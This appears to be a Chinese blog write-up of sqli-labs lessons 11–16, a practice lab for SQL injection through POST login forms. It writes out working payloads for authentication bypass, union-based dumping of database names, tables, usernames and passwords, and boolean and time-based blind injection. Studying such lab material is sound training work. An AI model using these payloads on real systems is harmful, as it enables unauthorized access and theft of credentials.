sqli-labs Less11-Less16

Lesson 11 POST -Error Based - Single Quotes (基于错误的POST型单引号字符型注入)

 

(1)先输入admin和admin进行登录

sqli-labs Less11-Less16

 

 

 

  sql语句为:

  SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1

sqli-labs Less11-Less16

 

 

 

(2)接下来的测试我们需要使用burpsuite,因为在执行登录操作时,我们并不知道进行了怎样的传输。其实是使用了PHP中的POST传输。

   A.先手动配置代理,打开burpsuite,点击”submit”,会进行抓包

sqli-labs Less11-Less16

 

 

   里面显示了详细的信息,我们只需要最后一句话

 

   B.将其复制,选择post data,粘贴到下面的框中。然后把burpsuite关闭即可

sqli-labs Less11-Less16

 

 

 

   C.进行测试

     uname=admin'&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   在admin后加一个单引号,出现错误

 

  uname='&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   将admin删掉,只留下单引号还是有错误,说明存在注入漏洞

 

 

  uname=admin' or 1=1#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

  在admin’后加上or 1=1 #,再次执行,发现登录成功

 

  uname=' or 1=1#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   此时,把admin去掉,发现依旧能登录成功,验证确实存在注入漏洞

 

(3)以username为例进行验证,使用order by语句验证列数

     uname=' order by 3#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   返回错误,显示不存在三列

 

  uname=' order by 2#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   虽然登录失败,但是并没有返回错误,说明是两列

 

(4)判断完列数后,使用union select语句进行联合查询,查看回显位置

    uname=' union select 1,2#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   回显出位置

(5)接下来就是常规的查库,查表等一系列操作

    查询当前使用的数据库

    uname=' union select 1,database()#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   可以看到数据库为security

 

  查看所有库

  uname= ' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

 

(6)查看表

  uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

 

(7)查看字段

  uname= ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

 

(8)查看用户和密码信息

 

    用户信息

    uname= ' union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

 

  密码信息

  uname= ' union select 1,group_concat(password) from security.users#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

 

(9)一次性查询数据的方法

sqli-labs Less11-Less16

 

 

 

sqli-labs Less11-Less16

 

 

 

 

  Lesson 11结束

 

 

Lesson 12 POST -Error Based - Double Quotes (基于错误的POST型双引号字符型变形注入)

 

 

(1)查询是否存在注入(将admin破坏,加上or 1=1#)

 

  uname='or 1=1#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   虽然没有成功登录,但是也没有返回错误

 

  uname=" or 1=1#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   将单引号改成双引号,发现有错误

 

  如何判断是单引号还是双引号,可以看回显的sql语句来观察

sqli-labs Less11-Less16

 

 

   包着admin的是双引号加一个单括号,所以就加双引号和一个单括号就行

 

sqli-labs Less11-Less16

 

 

 

测试成功

 

 

 

(2)接下来和上一课相同,不做展示,只是练习一下

 

 

 

 

  Lesson 12结束

 

 

 

 

Lesson 13 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

 

 

(1)先进行测试

 

  发现正常登录后,虽然有登录成功,但是并没有回显任何信息

sqli-labs Less11-Less16

 

 

 

(2)从测试可以看到,包裹着admin的是一个单引号和一个单括号。接下来直接测试即可

    uname=admin') or 1=1#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 

   也是什么都没有回显

 

(3)用union select语句进行联合查询,也不显示任何东西,这个时候就能证明是盲注,只有正确才会回显

sqli-labs Less11-Less16

 

(4)使用length()函数来猜解数据库长度

sqli-labs Less11-Less16

 

 

(5)使用if语句进行判断

sqli-labs Less11-Less16

 

 

  uname=adm') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

   然后进行猜测,测试数据,最后发现数据库长度为8

 

(6)然后判断第一个字母,使用left语句直接进行判断

sqli-labs Less11-Less16

 

 sqli-labs Less11-Less16

 

 

  uname=adm') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

   以这种方法可以查出库的名字

 

  剩下就是查表,查列,查数据的基本操作了,也可借用burpsuite进行爆破,这里不再进行展示

 

 

  

  Lesson 13结束

 

 

 

 

 

 

 

Lesson 14 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

 

(1)先进行登录测试

 

  uname=admin&passwd=admin&submit=Submit

sqli-labs Less11-Less16

 

 只有成功登录但是并没有任何回显信息

和13关不同的是,13关包裹admin的是一个单引号和一个单括号,14关包裹admin的是双引号,其他的均相同,不做演示,只练习

 sqli-labs Less11-Less16

 

 

 

  Lesson 14结束

 

 

 

Lesson 15 POST-Blind -Boolean-Time Based - Single Quotes (基于Bool型/时间延迟的单引号POST型盲注)

 

(1)先测试

sqli-labs Less11-Less16

  与13,14课差不多,只是包裹admin的符号不同,只不过这个是单引号

 

sqli-labs Less11-Less16

 

 

  Lesson 15结束

 

 

Lesson 16 POST-Blind -Boolean-Time Based - Double Quotes (基于Bool型/时间延迟的双引号POST型盲注)

 

  先测试

sqli-labs Less11-Less16

 

   这关是双引号和单括号进行包裹,其他与13关相同

 

 

 

 Lesson 16结束

 

sqli-labs Less11-Less16

 

 

上一篇:多线程与并发 | 线程池


下一篇:动作函数-web_submit_data